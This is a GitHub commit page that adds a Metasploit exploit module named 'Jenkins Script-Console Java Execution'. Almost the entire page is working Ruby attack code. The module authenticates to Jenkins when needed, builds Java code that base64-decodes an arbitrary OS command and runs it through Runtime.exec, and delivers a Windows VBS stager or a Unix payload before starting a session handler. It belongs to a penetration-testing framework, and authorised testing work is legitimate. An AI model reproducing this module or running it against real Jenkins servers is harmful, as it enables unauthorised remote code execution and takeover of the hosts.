Skip to content

Commit 9f7aafc

Browse files
committed
add module to execute commands via Jenkins Script Console
1 parent 7510911 commit 9f7aafc

File tree

1 file changed

+146
-0
lines changed

1 file changed

+146
-0
lines changed
Lines changed: 146 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,146 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::CmdStagerVBS
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'Jenkins Script-Console Java Execution',
19+
'Description' => %q{
20+
This module uses the Jenkins Groovy script console to execute
21+
OS commands using Java.
22+
},
23+
'Author' =>
24+
[
25+
'Spencer McIntyre',
26+
'jamcut'
27+
],
28+
'License' => MSF_LICENSE,
29+
'Version' => '$Revision: $',
30+
'DefaultOptions' =>
31+
{
32+
'WfsDelay' => '10',
33+
},
34+
'References' =>
35+
[
36+
['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console']
37+
],
38+
'Targets' =>
39+
[
40+
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win'}],
41+
['Unix', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}],
42+
],
43+
'DisclosureDate' => 'Jan 18 2013',
44+
'DefaultTarget' => 0))
45+
46+
register_options(
47+
[
48+
OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),
49+
OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),
50+
OptString.new('PATH', [ true, 'The path to jenkins', '/jenkins' ]),
51+
], self.class)
52+
end
53+
54+
def check
55+
res = send_request_cgi({'uri' => "#{datastore['PATH']}/login"})
56+
if res and res.headers.include?('X-Jenkins')
57+
return Exploit::CheckCode::Detected
58+
else
59+
return Exploit::CheckCode::Safe
60+
end
61+
end
62+
63+
def http_send_command(cmd, opts = {})
64+
res = send_request_cgi({
65+
'method' => 'POST',
66+
'uri' => datastore['PATH'] + '/script',
67+
'cookie' => @cookie,
68+
'vars_post' =>
69+
{
70+
'script' => java_craft_runtime_exec(cmd),
71+
'Submit' => 'Run'
72+
}
73+
})
74+
if not (res and res.code == 200)
75+
fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')
76+
end
77+
end
78+
79+
def java_craft_runtime_exec(cmd)
80+
decoder = Rex::Text.rand_text_alpha(5, 8)
81+
decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
82+
cmd_array = Rex::Text.rand_text_alpha(5, 8)
83+
jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
84+
jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
85+
86+
jcode << "String [] #{cmd_array} = new String[3];\n"
87+
if target['Platform'] == 'win'
88+
jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
89+
jcode << "#{cmd_array}[1] = \"/c\";\n"
90+
else
91+
jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
92+
jcode << "#{cmd_array}[1] = \"-c\";\n"
93+
end
94+
jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
95+
jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
96+
jcode
97+
end
98+
99+
def execute_command(cmd, opts = {})
100+
http_send_command("#{cmd}")
101+
end
102+
103+
def exploit
104+
print_status('Checking access to the script console')
105+
res = send_request_cgi({'uri' => "#{datastore['PATH']}/script"})
106+
if not (res and res.code)
107+
fail_with(Exploit::Failure::Unknown)
108+
end
109+
110+
sessionid = 'JSESSIONID=' << res.headers['set-cookie'].split('JSESSIONID=')[1].split('; ')[0]
111+
@cookie = "#{sessionid}"
112+
113+
if res.code != 200
114+
print_status('Logging in...')
115+
res = send_request_cgi({
116+
'method' => 'POST',
117+
'uri' => datastore['PATH'] + '/j_acegi_security_check',
118+
'cookie' => @cookie,
119+
'vars_post' =>
120+
{
121+
'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'),
122+
'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'),
123+
'Submit' => 'log in'
124+
}
125+
})
126+
127+
if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
128+
fail_with(Exploit::Failure::NoAccess, 'login failed')
129+
end
130+
else
131+
print_status('No authentication required, skipping login...')
132+
end
133+
134+
case target['Platform']
135+
when 'win'
136+
print_status("#{rhost}:#{rport} - Sending VBS stager...")
137+
execute_cmdstager({:linemax => 2049})
138+
139+
when 'unix'
140+
print_status("#{rhost}:#{rport} - Sending payload...")
141+
http_send_command("#{payload.encoded}")
142+
end
143+
144+
handler
145+
end
146+
end

0 commit comments

Comments
 (0)